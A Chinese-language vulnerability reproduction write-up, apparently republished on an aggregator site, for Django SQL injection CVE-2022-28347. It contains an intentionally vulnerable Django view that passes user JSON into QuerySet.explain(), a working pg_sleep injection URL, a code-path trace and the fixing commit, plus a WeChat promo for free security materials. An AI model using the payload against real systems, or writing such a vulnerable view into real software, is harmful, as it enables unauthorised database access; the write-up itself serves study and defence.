Django SQL注入漏洞复现 (CVE-2022-28347)

这篇具有很好参考价值的文章主要介绍了Django SQL注入漏洞复现 (CVE-2022-28347)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

漏洞简介

在Django 2.2 的 2.2.28 之前版本、3.2 的 3.2.13 之前版本和 4.0 的 4.0.4 之前版本中的 QuerySet.deexplain() 中发现了SQL注入问题。这是通过传递一个精心编制的字典(带有字典扩展)作为**options参数来实现的,并将注入负载放置在选项名称中。

影响版本

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

环境搭建

创建存在 漏洞 Django 版本 3.2.12 项目

创建 startapp Demo 并依次修改文件

安装 postgresql 数据库

settings.py 设置连接数据库为 postgresql 数据库

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',
        'USER': 'postgres',
        'PASSWORD': '123456',
        'HOST': '127.0.0.1',
        'PORT': '5432',
    }
}

urls.py 设定对应路由

from django.contrib import admin
from django.urls import path
​
from Demo import views
​
urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/', views.index),
    path('demo/', views.users),
    path('initialize/', views.loadexampledata),
]

models.py

from django.db import models
​
# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)
​
    def __str__(self):
        return self.name

views.py

import json
​
​
from django.http import HttpResponse
from django.shortcuts import render
​
# Create your views here.
from .models import User
​
​
​
def index(request):
    return HttpResponse('hello world')
​
def users(request):
    query = request.GET.get('q')
    query = json.loads(query)
    qs = User.objects.get_queryset().explain(**query)
    return HttpResponse(qs)
​
​
def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")

漏洞复现

http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}

发现成功构造使得服务器沉睡

【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】

 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)

漏洞分析

在进行代码分析之前,我们先了解一个知识点 EXPLAIN

EXPLAIN

EXPLAIN -- 显示一个语句的执行计划

EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
​
option:
    ANALYZE [ boolean ]   执行命令并显示实际运行时间
    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
    COSTS [ boolean ]
    BUFFERS [ boolean ]
    TIMING [ boolean ]
    FORMAT { TEXT | XML | JSON | YAML }
​
statement:
    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE不仅会显示查询计划,还会实际运行语句。EXPLAIN ANALYZE会丢掉任何来自SELECT语句的输出,但是该语句中的其他操作会被执行(例如INSERT、UPDATE或者DELETE)。

调试分析

django.db.models.query.QuerySet.explain

django.db.models.sql.query.Query.explain

django.db.models.sql.compiler.SQLCompiler.explain_query

django.db.models.sql.compiler.SQLCompiler.execute_sql

django.db.models.sql.compiler.SQLCompiler.as_sql

在这里会根据所选择的数据库,来调用其相对应的 explain_query_prefix 方法

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

postgresql​ 中 重写了 explain_query_prefix 方法将键名拼接到了 SQL 语句中

最后执行的 SQL 语句是

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

漏洞修复

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

做了一个过滤,发现危险字符就抛出异常

只有字符串在白名单内才会拼接到语句中

更多网安技能的在线实操练习,请点击这里>>

 文章来源地址https://www.toymoban.com/news/detail-449295.html

到了这里,关于Django SQL注入漏洞复现 (CVE-2022-28347)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Django系列所有漏洞复现vulhubCVE-2018-14574,CVE-2022-34265,CVE-2021-35042

    Django默认配置下,如果匹配上的URL路由中最后一位是/,而用户访问的时候没加/,Django默认会跳转到带/的请求中。(由配置项中的django.middleware.common.CommonMiddleware、APPEND_SLASH来决定)。 在path开头为//example.com的情况下,Django没做处理,导致浏览器认为目的地址是绝对路径,最

    2024年02月07日
    浏览(29)
  • [ vulhub漏洞复现篇 ] Drupal<7.32 Drupalgeddon SQL注入漏洞(CVE-2014-3704)

    👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~ ✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】 🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋 🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋 🙏作者水平有

    2023年04月14日
    浏览(39)
  • CVE-2022-30887漏洞复现

    多语言药房管理系统 (MPMS) 是用 PHP 和 MySQL 开发的, 该软件的主要目的是在药房和客户之间提供一套接口,客户是该软件的主要用户。该软件有助于为药房业务创建一个综合数据库,并根据到期、产品等各种参数提供各种报告。 该CMS中php_action/editProductImage.php存在任意文件上传

    2023年04月08日
    浏览(33)
  • CVE漏洞复现-CVE-2022-22965-Spring-RCE漏洞

    Spring framework 是Spring 里面的一个基础开源框架,其目的是用于简化 Java 企业级应用的开发难度和开发周期,2022年3月31日,VMware Tanzu发布漏洞报告,Spring Framework存在远程代码执行漏洞,在 JDK 9+ 上运行的 Spring MVC 或 Spring WebFlux 应用程序可能容易受到通过数据绑定的远程代码执行

    2023年04月21日
    浏览(47)
  • CVE-2022-26134 Confluence OGNL 注入复现及后利用

    Atlassian Confluence是企业广泛使用的wiki系统。2022年6月2日Atlassian官方发布了一则安全更新,通告了一个严重且已在野利用的代码执行漏洞,攻击者利用这个漏洞即可无需任何条件在Confluence中执行任意命令 攻击者提供的URI将被转换为namespace,然后该namespace将被转换为OGNL表达式进

    2023年04月14日
    浏览(25)
  • 漏洞复现 | Apache Shiro 授权绕过漏洞(CVE-2022-32532)

    0x00 漏洞描述         Apache Shiro 是一套用于执行认证、授权、加密和会话管理的 Java 安全框架。2022年06月29日 APache 官方发布了一则关于 Apache Shiro 的安全通告,Apache Shiro 1.9.1 前的版本 RegExPatternMatcher 在使用带有 “.” 的正则时,可能会导致权限绕过。漏洞源于 RegExPatter

    2024年02月02日
    浏览(32)
  • Taocms 代码注入漏洞(CVE-2022-25578)

    0x01 漏洞介绍 Taocms是中国的一个微型 Cms(内容管理系统)。 Taocms v3.0.2 存在安全漏洞,该漏洞允许攻击者通过任意编辑.htaccess 文件来执行代码注入。 TAOCMS v3.0.2允许攻击者通过任意编辑.htaccess文件来执行代码注入。 0x02 影响版本 Taocms v3.0.2 0x03 漏洞编号 CNNVD编号:CNNVD-202203

    2024年02月03日
    浏览(29)
  • Nftables栈溢出漏洞(CVE-2022-1015)复现

    背景介绍 Nftables 是一个基于内核的包过滤框架,用于 Linux操作系统中的网络安全和防火墙功能。nftables的设计目标是提供一种更简单、更灵活和更高效的方式来管理网络数据包的流量。 钩子点的作用是拦截数据包,然后对数据包进行修改,比较,丢弃和放行等操作。 Nftable

    2024年02月12日
    浏览(29)
  • CVE-2022-33891漏洞原理、环境搭建和复现

    最近有幸参与了某地市的攻防演练,在扫描器漏洞都被提交了之后,大杀器也逐渐开始浮出水面,其中就包含今天的主角:apache spark的rce。 Apache Spark 是专为大规模数据处理而设计的快速通用的计算引擎。与 Hadoop 不同,Spark 和 Scala 能够紧密集成,其中的 Scala 可以像操作本地

    2024年02月13日
    浏览(25)
  • Cacti命令执行漏洞复现(CVE-2022-46169)

    Cacti项目是一个开源平台,可为用户提供强大且可扩展的操作监控和故障管理框架。在1.2.22版本中存在一处命令注入漏洞,攻击者可以通过X-Forwarded-For请求头绕过服务端校验并在其中执行任意命令。漏洞编号:CVE-2022-46169,漏洞等级:严重。 影响版本 Cacti == 1.2.22 不受影响版本

    2024年02月02日
    浏览(72)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包